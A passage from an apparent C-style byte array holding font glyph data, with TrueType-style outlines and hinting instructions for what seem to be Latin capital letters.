0x10,0xdd,0x3c,0xb4,0x1,0x1a,0x2,0x0,0x1,0x11,0x14,0x12,0x39,0x14,0xb4,0x1, - 0x11,0x1,0x0,0x12,0x11,0x14,0x12,0x39,0x14,0xb3,0xe,0x1,0x6,0x0,0x3f,0x3f, - 0xb3,0x1f,0x6,0x17,0xe,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x21,0x16,0x15,0x10, - 0x6,0x21,0x20,0x26,0x11,0x27,0x37,0x10,0x36,0x21,0x20,0x16,0x1d,0x1,0x23,0x35, - 0x34,0x26,0x21,0x20,0x6,0x15,0x7,0x17,0x10,0x16,0x21,0x32,0x36,0x35,0x34,0x27, - 0x21,0x2,0x69,0x2,0x49,0x4,0xb5,0xfe,0x82,0xfe,0x97,0xce,0x1,0x1,0xe5,0x1, - 0x5b,0x1,0x5c,0xca,0x97,0x89,0xfe,0xdf,0xfe,0xf5,0x86,0x2,0x1,0x95,0x1,0x43, - 0xf7,0x75,0x8,0xfe,0x4e,0x2,0xa7,0x35,0x60,0xfe,0x8f,0xaf,0xcf,0x1,0x69,0xc9, - 0x79,0x1,0x2f,0xc8,0x83,0xe3,0x34,0x22,0xa7,0x4f,0x7f,0xfe,0xb5,0xc3,0xfe,0xfe, - 0x76,0x70,0xed,0x13,0x41,0x0,0x1,0x0,0x82,0x0,0x0,0x4,0xd4,0x5,0x55,0x0, - 0xb,0x0,0x47,0xb1,0x7,0x6,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb5,0x9,0x8, - 0x5,0x4,0x3,0x6,0x10,0x17,0xdd,0x3c,0xb5,0xb,0xa,0x3,0x2,0x3,0x1,0x10, - 0x17,0xdd,0x3c,0x0,0xb6,0x1,0x0,0xb,0x8,0x7,0x0,0x0,0x13,0x10,0xcd,0xcd, - 0xcd,0xcd,0x13,0xb4,0x6,0x5,0x2,0x1,0x3,0x17,0x2f,0x3c,0xb1,0xa,0x9,0x2f, - 0x3c,0xb2,0x4,0x3,0x9,0x10,0xdd,0x3c,0x31,0x30,0x1,0x11,0x23,0x11,0x21,0x11, - 0x23,0x11,0x33,0x11,0x21,0x11,0x4,0xd4,0x9a,0xfc,0xe2,0x9a,0x9a,0x3,0x1e,0x5, - 0x55,0xfa,0xab,0x2,0x79,0xfd,0x87,0x5,0x55,0xfd,0xa6,0x2,0x5a,0x0,0x1,0x0, - 0x82,0x0,0x0,0x1,0x1c,0x5,0x55,0x0,0x3,0x0,0x1f,0xb1,0x3,0x2,0x2f,0x3c, - 0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x0,0xb4,0x1,0x0,0x3,0x0,0x0,0x13,0x10, - 0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x31,0x30,0x1,0x11,0x23,0x11,0x1,0x1c, - 0x9a,0x5,0x55,0xfa,0xab,0x5,0x55,0x0,0x1,0x0,0x35,0xff,0xf2,0x3,0x82,0x5, - 0x55,0x0,0x13,0x0,0x47,0xb2,0xc,0xb,0xa,0x2f,0x3c,0x3c,0xb1,0x0,0x1,0x2f, - 0x3c,0xb2,0x13,0x12,0x1,0x10,0xdd,0x3c,0xb2,0x9,0x7,0xa,0x10,0xc4,0xc0,0x0, - 0xb4,0x1,0x0,0x13,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0xa,0x9,0x2f,0x3c, - 0x40,0x9,0x1,0x12,0xc,0xb,0x1,0x4,0x9,0x0,0x0,0x13,0x11,0x12,0x17,0x39, - 0x13,0xb1,0x4,0x0,0x3f,0xb1,0xf,0x4,0x10,0xcd,0x31,0x30,0x1,0x11,0x14,0x6, - 0x23,0x22,0x26,0x35,0x34,0x37,0x33,0x1d,0x1,0x14,0x16,0x33,0x32,0x36,0x35,0x11, - 0x3,0x82,0xb0,0xf2,0xf5,0xb6,0x3,0x97,0x5a,0xb1,0xaf,0x5f,0x5,0x55,0xfc,0x3d, - 0xf1,0xaf,0x95,0xc8,0x5d,0x45,0x19,0x69,0xa7,0x54,0x6e,0xc9,0x3,0xaa,0x0,0x0, - 0x1,0x0,0x82,0x0,0x0,0x4,0xe6,0x5,0x55,0x0,0xc,0x0,0x4f,0xb1,0xc,0xb, - 0x2f,0x3c,0xb5,0x0,0xa,0x9,0x1,0x3,0xb,0x10,0x17,0xdd,0x3c,0xb7,0x8,0x7, - 0x6,0x5,0x4,0x3,0x2,0x1,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x0,0xb6, - 0x1,0x0,0xc,0x4,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb4,0xb, - 0xa,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x9,0x8,0x1, - 0x10,0xdd,0x3c,0xb2,0x5,0x1,0x8,0x11,0x12,0x39,0x31,0x30,0x1,0x11,0x33,0x1, - 0x33,0x9,0x1,0x23,0x1,0x23,0x11,0x23,0x11,0x1,0x1c,0x87,0x2,0x30,0xc7,0xfd, - 0x90,0x2,0xbc,0xd3,0xfd,0x90,0x87,0x9a,0x5,0x55,0xfd,0xac,0x2,0x54,0xfd,0x6e, - 0xfd,0x3d,0x2,0x7f,0xfd,0x81,0x5,0x55,0x0,0x0,0x1,0x0,0x82,0x0,0x0,0x3, - 0xda,0x5,0x55,0x0,0x5,0x0,0x2a,0xb1,0x5,0x4,0x2f,0x3c,0xb1,0x3,0x2,0x2f, - 0x3c,0xb2,0x0,0x1,0x4,0x10,0xdd,0x3c,0x0,0xb7,0x1,0x0,0x5,0x0,0x2,0x1, - 0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x4,0x3,0x2f,0x3c,0x31, - 0x30,0x1,0x11,0x21,0x15,0x21,0x11,0x1,0x1c,0x2,0xbe,0xfc,0xa8,0x5,0x55,0xfb, - 0x3a,0x8f,0x5,0x55,0x0,0x0,0x1,0x0,0x82,0x0,0x0,0x6,0x5c,0x5,0x55,0x0, - 0x24,0x0,0xa0,0xb1,0x19,0x18,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x17,0x16, - 0x15,0x18,0x10,0xdd,0x3c,0x3c,0xb3,0x4,0x3,0x2,0x1,0x10,0xdd,0x3c,0x3c,0xb3, - 0x14,0x13,0x15,0x18,0x11,0x12,0x39,0x39,0x40,0x1a,0x24,0x23,0x22,0x21,0x20,0x1f, - 0x1e,0x1d,0x1c,0x1b,0x1a,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8, - 0x7,0x17,0x2,0x15,0x11,0x12,0x17,0x39,0xb3,0x6,0x5,0x1,0x2,0x11,0x12,0x39, - 0x39,0x0,0xb6,0x1,0x0,0x24,0x1a,0x19,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd, - 0x13,0xb6,0x18,0x17,0xd,0xc,0x2,0x1,0x5,0x17,0x2f,0x3c,0x40,0xe,0x1,0x23, - 0x22,0x21,0x20,0x1f,0x1e,0x1d,0x1c,0x1b,0x9,0x2,0x0,0x1,0x11,0x14,0x12,0x17, - 0x39,0x14,0x40,0x17,0x1,0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xf,0xe,0xb,0xa, - 0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x12,0x19,0x2,0x0,0x13,0x11,0x12,0x17,0x39, - 0x13,0x31,0x30,0x1,0x11,0x23,0x11,0x35,0x3f,0x1,0x23,0x7,0x6,0xf,0x1,0x1, - 0x23,0x1,0x2f,0x1,0x26,0x27,0x23,0x1f,0x1,0x15,0x11,0x23,0x11,0x21,0x1,0x1f, - 0x2,0x33,0x37,0x36,0x3f,0x1,0x1,0x6,0x5c,0x9a,0x1,0x1,0x4,0xc,0x9,0x3, - 0x1a,0xfe,0x2f,0x9a,0xfe,0x2e,0x1b,0xc,0x5,0x7,0x4,0x1,0x1,0x9a,0x1,0xb, - 0x1,0x6c,0x3a,0x1d,0x1c,0x4,0x1c,0x15,0x7,0x3b,0x1,0x6a,0x5,0x55,0xfa,0xab, - 0x4,0x44,0x52,0x29,0x29,0x20,0x18,0x7,0x40,0xfb,0x97,0x4,0x5c,0x3f,0x20,0xb, - 0x14,0x25,0x26,0x4b,0xfb,0xbc,0x5,0x55,0xfc,0x8d,0x8f,0x47,0x47,0x47,0x33,0x14, - 0x8e,0x3,0x74,0x0,0x1,0x0,0x82,0x0,0x0,0x5,0x10,0x5,0x55,0x0,0x17,0x0, - 0x86,0xb1,0xd,0xc,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0xb,0xa,0x9,0xc, - 0x10,0xdd,0x3c,0x3c,0xb3,0x17,0x16,0x15,0x1,0x10,0xdd,0x3c,0x3c,0xb3,0x8,0x7, - 0x9,0xc,0x11,0x12,0x39,0x39,0x40,0xd,0x12,0x11,0x10,0xf,0xe,0x6,0x5,0x4, - 0x3,0x2,0xa,0x15,0x9,0x11,0x12,0x17,0x39,0xb3,0x14,0x13,0x1,0x15,0x11,0x12, - 0x39,0x39,0x0,0xb6,0x1,0x0,0x17,0xe,0xd,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd, - 0xcd,0x13,0xb4,0xc,0xb,0x2,0x1,0x3,0x17,0x2f,0x3c,0x40,0xe,0x1,0x16,0x15, - 0x14,0x13,0x12,0x11,0x10,0xf,0x3,0x9,0x2,0x0,0x1,0x11,0x14,0x12,0x17,0x39, - 0x14,0x40,0xc,0x1,0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x7,0xd,0x2,0x0,0x13, - 0x11,0x12,0x17,0x39,0x13,0x31,0x30,0x1,0x11,0x23,0x1,0x2f,0x2,0x23,0x1f,0x1, - 0x15,0x11,0x23,0x11,0x33,0x1,0x1f,0x2,0x33,0x2f,0x1,0x35,0x11,0x5,0x10,0xfd, - 0xfd,0xc4,0x5d,0x2e,0x2e,0x4,0x1,0x1,0x9a,0xfc,0x1,0xf3,0x82,0x41,0x40,0x4, - 0x1,0x1,0x5,0x55,0xfa,0xab,0x3,0xa1,0x99,0x4c,0x4c,0x33,0x34,0x66,0xfb,0xfb, - 0x5,0x55,0xfc,0xd2,0xd6,0x6a,0x6b,0x33,0x34,0x66,0x4,0xc,0x0,0x0,0x2,0x0, - 0x2f,0xff,0xf2,0x4,0xba,0x5,0x63,0x0,0xd,0x0,0x1b,0x0,0x32,0xb2,0xb,0xa, - 0x3,0x2f,0x2f,0x2e,0xb3,0x18,0x3,0x11,0xa,0x10,0xcd,0x10,0xcd,0x0,0xb6,0x1, - 0x1,0xb,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb3,0x6,0x0, - 0x0,0x1,0x3f,0x3f,0xb3,0x14,0x6,0xe,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1, - 0x20,0x16,0x11,0x10,0x6,0x21,0x20,0x26,0x11,0x35,0x37,0x10,0x36,0x5,0x20,0x6, - 0x11,0x10,0x16,0x21,0x20,0x36,0x11,0x35,0x27,0x34,0x26,0x2,0x75,0x1,0x83,0xc2, - 0xba,0xfe,0x75,0xfe,0x77,0xbd,0x2,0xf5,0x1,0x4e,0xfe,0xbc,0x6e,0x6e,0x1,0x44, - 0x1,0x45,0x6e,0x1,0x98,0x5,0x63,0xe2,0xfe,0x3c,0xfe,0x19,0xe4,0xe2,0x1,0xd7, - 0x60,0x81,0x1,0x10,0xc7,0x82,0x90,0xfe,0x5a,0xfe,0x59,0x90,0x90,0x1,0xa7,0x59, - 0x81,0xe2,0x7a,0x0,0x2,0x0,0x82,0x0,0x0,0x4,0x82,0x5,0x55,0x0,0xc,0x0, - 0x16,0x0,0x4c,0xb1,0x0,0x1,0x2f,0x3c,0xb5,0xd,0x16,0xc,0xb,0x3,0x1,0x10, - 0x17,0xdd,0x3c,0xb6,0x15,0xe,0xa,0x6,0x3,0x2,0xb,0x10,0xc0,0xc0,0xc4,0xc0, - 0xc0,0xc0,0xb1,0x11,0x6,0x10,0xcd,0x0,0x40,0x9,0x1,0x16,0x15,0x1,0x3,0x2, - 0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x0,0xc,0x2f, - 0x3c,0xb1,0xd,0xe,0x2f,0x3c,0xb2,0xb,0xa,0xe,0x10,0xdd,0x3c,0x31,0x30,0x33, - 0x11,0x21,0x33,0x32,0x16,0x15,0x14,0x6,0x23,0x7,0x21,0x19,0x1,0x21,0x32,0x36, - 0x35,0x34,0x26,0x23,0x27,0x21,0x82,0x2,0x3d,0x34,0xe7,0xa8,0xaf,0xf1,0x3c,0xfe, - 0x76,0x1,0x6d,0xe5,0x81,0x57,0xa3,0x3b,0xfe,0x62,0x5,0x55,0xb2,0xf4,0xea,0xaa, - 0x1,0xfd,0xe6,0x2,0x9c,0x5e,0xa9,0xc6,0x69,0x1,0x0,0x0,0x2,0x0,0x30,0xff, - 0xf2,0x5,0x2a,0x5,0x63,0x0,0xf,0x0,0x1f,0x0,0x4b,0x40,0xa,0x1f,0x12,0x11, - 0x10,0xf,0xd,0x7,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2f,0x2f,0x2e,0x2e,0x2e,0x2e, - 0x2e,0xb3,0x1a,0x7,0x14,0xd,0x10,0xcd,0x10,0xcd,0x0,0x40,0xf,0x1,0x1,0x1f, - 0x12,0x11,0x10,0xf,0x2,0x1,0x0,0x8,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12, - 0x17,0x39,0x13,0x14,0xb3,0xa,0x1,0x4,0x0,0x3f,0x3f,0xb3,0x1d,0x4,0x17,0xa, - 0x10,0xcd,0x10,0xcd,0x31,0x30,0x25,0x7,0x27,0x6,0x21,0x20,0x26,0x11,0x10,0x36, - 0x21,0x20,0x16,0x11,0x10,0x7,0x25,0x37,0x5,0x36,0x35,0x10,0x26,0x21,0x20,0x6, - 0x11,0x10,0x16,0x21,0x20,0x37,0x5,0x2a,0x3f,0x7a,0x6e,0xfe,0x73,0xfe,0x6b,0xb1, - 0xca,0x1,0x7c,0x1,0x83,0xc2,0x19,0xfd,0xbc,0x47,0x1,0x75,0xe,0x65,0xfe,0xb2, - 0xfe,0xbc,0x6e,0x6e,0x1,0x42,0x1,0x40,0x44,0xa7,0x69,0x4f,0x9b,0xe5,0x2,0xb, - 0x1,0xa2,0xdf,0xe2,0xfe,0x3c,0xfe,0xad,0x69,0xe8,0x69,0xf7,0x49,0xb9,0x1,0xee, - 0x96,0x90,0xfe,0x5a,0xfe,0x59,0x90,0x69,0x0,0x0,0x2,0x0,0x82,0x0,0x0,0x4, - 0x9c,0x5,0x55,0x0,0x13,0x0,0x1c,0x0,0x73,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xc, - 0xb,0x2f,0x3c,0xb5,0x14,0x1c,0x13,0x12,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb2,0xe, - 0xd,0xb,0x10,0xdd,0x3c,0xb1,0x5,0xb,0x10,0xc4,0x40,0xa,0x1b,0x15,0x11,0x10, - 0x9,0x8,0x2,0x7,0xd,0x12,0x11,0x12,0x17,0x39,0xb1,0x18,0x5,0x10,0xcd,0x0, - 0xb7,0x1,0x1c,0x1b,0x1,0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd, - 0x13,0xb4,0x0,0x13,0xd,0xc,0x3,0x17,0x2f,0x3c,0xb1,0x14,0x15,0x2f,0x3c,0xb3, - 0x12,0x11,0x10,0x15,0x10,0xdd,0x3c,0x3c,0xb3,0xe,0xb,0x10,0xc,0x11,0x12,0x39, - 0x39,0xb3,0x9,0x8,0x15,0x10,0x11,0x12,0x39,0x39,0x31,0x30,0x33,0x11,0x21,0x32, - 0x16,0x15,0x14,0x6,0x7,0x15,0x16,0x15,0x11,0x23,0x11,0x34,0x2b,0x1,0x21,0x19, - 0x1,0x21,0x32,0x36,0x35,0x34,0x26,0x23,0x21,0x82,0x2,0x8a,0xdc,0xb4,0x62,0x8a, - 0xd9,0x9a,0xcf,0x33,0xfe,0x2f,0x1,0xbd,0xb0,0x80,0x5f,0x9c,0xfe,0xe,0x5,0x55, - 0xae,0xd7,0xbd,0x95,0x16,0x3,0x10,0xf8,0xfe,0xa3,0x1,0x3a,0xef,0xfd,0xd7,0x2, - 0xab,0x6b,0x94,0xb9,0x70,0x0,0x1,0x0,0x3d,0xff,0xf2,0x4,0x43,0x5,0x63,0x0, - 0x28,0x0,0x4d,0xb7,0x23,0x21,0x15,0x14,0x13,0xd,0x1,0x0,0x2e,0x2e,0x2f,0x2e, - 0x2e,0x2e,0x2e,0x2f,0xb3,0x1c,0xd,0x7,0x23,0x10,0xcd,0x10,0xcd,0x0,0xb1,0x15, - 0x14,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb4,0x1,0x13,0x14,0x0,0x0,0x13,0x11, - 0x12,0x39,0x13,0xb4,0x1,0x21,0x2,0x0,0x14,0x11,0x14,0x12,0x39,0x14,0xb3,0x26, - 0x1,0x10,0x0,0x3f,0x3f,0xb3,0x19,0x10,0x4,0x26,0x10,0xcd,0x10,0xcd,0x31,0x30, - 0x1,0x23,0x34,0x26,0x23,0x22,0x6,0x15,0x14,0x16,0x5,0x4,0x16,0x15,0x14,0x6, - 0x21,0x20,0x26,0x35,0x27,0x33,0x15,0x14,0x16,0x33,0x20,0x36,0x35,0x34,0x26,0x2f, - 0x2,0x24,0x11,0x34,0x36,0x21,0x20,0x16,0x4,0x2a,0x99,0x6e,0xcc,0xf2,0x8c,0x6e, - 0x1,0x10,0x1,0x3f,0xad,0xc7,0xfe,0xac,0xfe,0xd9,0xc3,0x1,0x99,0x70,0xe7,0x1, - 0x9,0x7a,0x53,0x84,0xa0,0x98,0xfe,0xa5,0xca,0x1,0x2e,0x1,0x32,0xba,0x3,0xe3, - 0xa5,0x59,0x55,0x93,0xa5,0x48,0xd,0xe,0x86,0xe9,0xfc,0x94,0x95,0xe2,0x3d,0x22, - 0xb7,0x59,0x59,0xc1,0x7d,0x53,0x8,0x8,0x8,0x18,0x1,0x50,0xe9,0x9c,0x91,0x0, - 0x1,0x0,0x7,0x0,0x0,0x4,0x17,0x5,0x55,0x0,0x7,0x0,0x34,0xb1,0x5,0x4, - 0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb2,0x0,0x1,0x2, - 0x10,0xdd,0x3c,0x0,0x40,0xa,0x1,0x0,0x7,0x4,0x3,0x1,0x6,0x5,0x0,0x0, - 0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x31, - 0x30,0x1,0x11,0x23,0x11,0x21,0x35,0x21,0x15,0x2,0x5e,0x9a,0xfe,0x43,0x4,0x10, - 0x4,0xc6,0xfb,0x3a,0x4,0xc6,0x8f,0x8f,0x0,0x0,0x1,0x0,0x83,0xff,0xf2,0x4, - 0xbc,0x5,0x55,0x0,0x12,0x0,0x4b,0xb2,0xa,0x9,0x8,0x2f,0x3c,0x3c,0xb1,0x2, - 0x1,0x2f,0x3c,0xb2,0xc,0xb,0x8,0x10,0xdd,0x3c,0xb2,0x0,0x12,0x1,0x10,0xdd, - 0x3c,0x0,0xb6,0x1,0x0,0xb,0xa,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd, - 0x13,0x40,0xc,0x1,0x1,0x12,0xc,0x9,0x8,0x2,0x5,0x2,0x0,0x0,0x0,0x13, - 0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb1,0x5,0x0,0x3f,0xb1,0xf,0x5,0x10,0xcd, - 0x31,0x30,0x1,0x33,0x11,0x10,0x6,0x21,0x20,0x26,0x3d,0x1,0x11,0x33,0x11,0x14, - 0x16,0x33,0x20,0x36,0x35,0x4,0x22,0x9a,0xd1,0xfe,0xb2,0xfe,0xc7,0xe1,0x9a,0x7e, - 0xf7,0x1,0xc,0x84,0x5,0x55,0xfc,0x44,0xfe,0xfc,0xa3,0x9d,0xdc,0x2e,0x3,0xbc, - 0xfc,0x44,0xc2,0x63,0x61,0xc4,0x0,0x0,0x1,0xff,0xf6,0x0,0x0,0x4,0x9d,0x5, - 0x55,0x0,0xc,0x0,0x47,0x40,0xd,0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4, - 0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x0,0xb6,0x1,0x0,0x5,0x4,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd, - 0x13,0xb1,0x3,0x2,0x2f,0x3c,0x40,0xc,0x1,0xc,0xb,0xa,0x9,0x8,0x7,0x6, - 0x7,0x2,0x0,0x2,0x11,0x14,0x12,0x17,0x39,0x14,0x31,0x30,0x1,0x33,0x1,0x23, - 0x1,0x33,0x1,0x17,0x16,0x17,0x33,0x36,0x37,0x3,0xf8,0xa5,0xfe,0x1d,0xdc,0xfe, - 0x18,0xa4,0x1,0x6c,0x24,0x14,0xd,0x4,0x1e,0x25,0x5,0x55,0xfa,0xab,0x5,0x55, - 0xfb,0xf9,0x69,0x3d,0x2c,0x65,0x6b,0x0,0x1,0x0,0x3,0x0,0x0,0x7,0xf9,0x5, - 0x55,0x0,0x23,0x0,0x9e,0x40,0x24,0x23,0x22,0x21,0x20,0x1f,0x1e,0x1d,0x1c,0x1b, - 0x1a,0x19,0x18,0x17,0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb, - 0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0, - 0x40,0x9,0x1,0x0,0x23,0x1a,0x19,0xf,0xe,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd, - 0xcd,0xcd,0xcd,0x13,0xb4,0xd,0xc,0x2,0x1,0x3,0x17,0x2f,0x3c,0x40,0x16,0x1, - 0x22,0x21,0x20,0x1f,0x1e,0x1d,0x1c,0x1b,0x18,0x17,0x16,0x15,0x14,0x13,0x12,0x11, - 0x10,0x11,0x2,0x0,0x1,0x11,0x14,0x12,0x17,0x39,0x14,0x40,0xe,0x1,0xb,0xa, - 0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x9,0xe,0x2,0x0,0x13,0x11,0x12,0x17,0x39, - 0x13,0x31,0x30,0x9,0x1,0x23,0x1,0x27,0x26,0x2f,0x1,0x23,0xf,0x2,0x1,0x23, - 0x1,0x33,0x1,0x17,0x16,0x1f,0x1,0x33,0x3f,0x2,0x1,0x33,0x1,0x1f,0x2,0x33, - 0x3f,0x2,0x1,0x7,0xf9,0xfe,0x52,0xea,0xfe,0xe1,0x24,0x3,0xe,0x12,0x3,0x11, - 0x12,0x25,0xfe,0xdc,0xe6,0xfe,0x5d,0x9e,0x1,0x26,0x28,0x5,0xf,0x13,0x3,0x13, - 0x13,0x27,0x1,0x22,0xe4,0x1,0x20,0x27,0x12,0x13,0x3,0x14,0x14,0x29,0x1,0x2c, - 0x5,0x55,0xfa,0xab,0x3,0xd7,0x7b,0xa,0x33,0x3e,0x3e,0x3e,0x7c,0xfc,0x2b,0x5, - 0x55,0xfc,0x2b,0x85,0x10,0x32,0x43,0x43,0x42,0x84,0x3,0xd6,0xfc,0x29,0x83,0x43, - 0x42,0x43,0x43,0x86,0x3,0xd3,0x0,0x0,0x1,0xff,0xf6,0x0,0x0,0x4,0xb0,0x5, - 0x55,0x0,0x1d,0x0,0x4c,0x40,0xe,0x1d,0x18,0x17,0x12,0x11,0x10,0xf,0xe,0x9, - 0x8,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x0,0x1d,0x12,0x11,0x0,0x0,0x13,0x10,0xcd,0xcd, - 0xcd,0xcd,0x13,0xb4,0xf,0xe,0x3,0x2,0x3,0x17,0x2f,0x3c,0x40,0xb,0x1,0x18, - 0x17,0x10,0x9,0x8,0x1,0x6,0x2,0x0,0x2,0x11,0x14,0x12,0x17,0x39,0x14,0x31, - 0x30,0x9,0x2,0x23,0x1,0x27,0x26,0x2f,0x1,0x23,0x7,0x6,0xf,0x1,0x1,0x23, - 0x9,0x1,0x33,0x1,0x17,0x16,0x1f,0x1,0x33,0x37,0x36,0x3f,0x1,0x1,0x4,0x8f, - 0xfe,0x4c,0x1,0xd5,0xb6,0xfe,0xc4,0x32,0x4,0x13,0x18,0x4,0x18,0x14,0x5,0x34, - 0xfe,0xbf,0xbd,0x1,0xe8,0xfe,0x3f,0xba,0x1,0x2f,0x2a,0x8,0xd,0x14,0x4,0x14, - 0x10,0x4,0x29,0x1,0x2b,0x5,0x55,0xfd,0x6d,0xfd,0x3e,0x1,0xde,0x4b,0x6,0x1f, - 0x26,0x27,0x1d,0x9,0x4c,0xfe,0x25,0x2,0xc2,0x2,0x93,0xfe,0x39,0x40,0xc,0x14, - 0x20,0x1f,0x1b,0x5,0x3f,0x1,0xc9,0x0,0x1,0xff,0xf6,0x0,0x0,0x4,0x8b,0x5, - 0x55,0x0,0x11,0x0,0x5f,0xb1,0x4,0x3,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd, - 0x3c,0xb3,0x7,0x6,0x5,0x3,0x10,0xc0,0xc0,0xc0,0xb3,0x11,0x10,0x0,0x1,0x10, - 0xc0,0xc0,0xc0,0x40,0xb,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x8,0x1,0x3, - 0x11,0x12,0x17,0x39,0x0,0xb6,0x1,0x0,0x11,0x6,0x5,0x0,0x0,0x13,0x10,0xcd, - 0xcd,0xcd,0xcd,0x13,0xb1,0x3,0x2,0x2f,0x3c,0x40,0x11,0x1,0x10,0xf,0xe,0xd, - 0xc,0xb,0xa,0x9,0x8,0x7,0x4,0x1,0xc,0x2,0x0,0x2,0x11,0x14,0x12,0x17, - 0x39,0x14,0x31,0x30,0x9,0x1,0x11,0x23,0x11,0x1,0x33,0x1,0x17,0x16,0x1f,0x1, - 0x33,0x36,0x3f,0x2,0x1,0x4,0x8b,0xfd,0xfc,0x9a,0xfe,0x9,0xb3,0x1,0x25,0x38, - 0xb,0x11,0x1b,0x4,0x12,0x9,0x1b,0x39,0x1,0x24,0x5,0x55,0xfc,0xe5,0xfd,0xc6, - 0x2,0x3a,0x3,0x1b,0xfe,0x33,0x59,0x10,0x1c,0x2d,0x1e,0xf,0x2c,0x59,0x1,0xcd, - 0x0,0x0,0x1,0x0,0x30,0x0,0x0,0x4,0x59,0x5,0x55,0x0,0xb,0x0,0x5a,0xb1, - 0x7,0x6,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x5, - 0x4,0x2f,0x3c,0xb6,0x9,0x8,0x3,0x2,0x4,0x1,0xa,0x11,0x12,0x17,0x39,0x0, - 0x40,0xc,0x1,0xa,0x9,0x1,0x1,0x0,0xb,0x0,0x4,0x3,0x0,0x0,0x13,0x10, - 0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0x13,0xb1,0x6,0x5,0x2f,0x3c,0xb5, - 0x1,0x7,0x2,0x2,0x0,0x3,0x11,0x14,0x12,0x39,0x39,0x14,0xb4,0x1,0x8,0x1, - 0x2,0x0,0x13,0x11,0x12,0x39,0x13,0x31,0x30,0x1,0x15,0x1,0x15,0x21,0x15,0x21, - 0x35,0x1,0x35,0x21,0x35,0x4,0x47,0xfc,0xa5,0x3,0x6d,0xfb,0xd7,0x3,0x59,0xfc, - 0xc0,0x5,0x55,0x82,0xfb,0xb2,0x3,0x82,0x85,0x4,0x4b,0x3,0x82,0x0,0x2,0xff, - 0xf7,0x0,0x0,0x7,0x2a,0x5,0x55,0x0,0xf,0x0,0x13,0x0,0x71,0xb4,0x0,0x5, - 0x4,0x1,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb4,0xf,0xe,0x7,0x6, - 0x3,0x17,0x2f,0x3c,0xb5,0x10,0x11,0x9,0x8,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb6, - 0x13,0x12,0xd,0xc,0xb,0xa,0x8,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x0,0x40, - 0xd,0x1,0x12,0x11,0x0,0xf,0x1,0xe,0xd,0x0,0x6,0x5,0x0,0x0,0x13,0x10, - 0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb4,0xc,0xb,0x8,0x7, - 0x3,0x17,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x10, - 0x13,0x9,0x10,0xdd,0x3c,0xb2,0x4,0x3,0x1,0x10,0xdd,0x3c,0x31,0x30,0x1,0x11, - 0x21,0x15,0x21,0x11,0x21,0x15,0x21,0x11,0x21,0x3,0x23,0x1,0x21,0x15,0x1,0x11, - 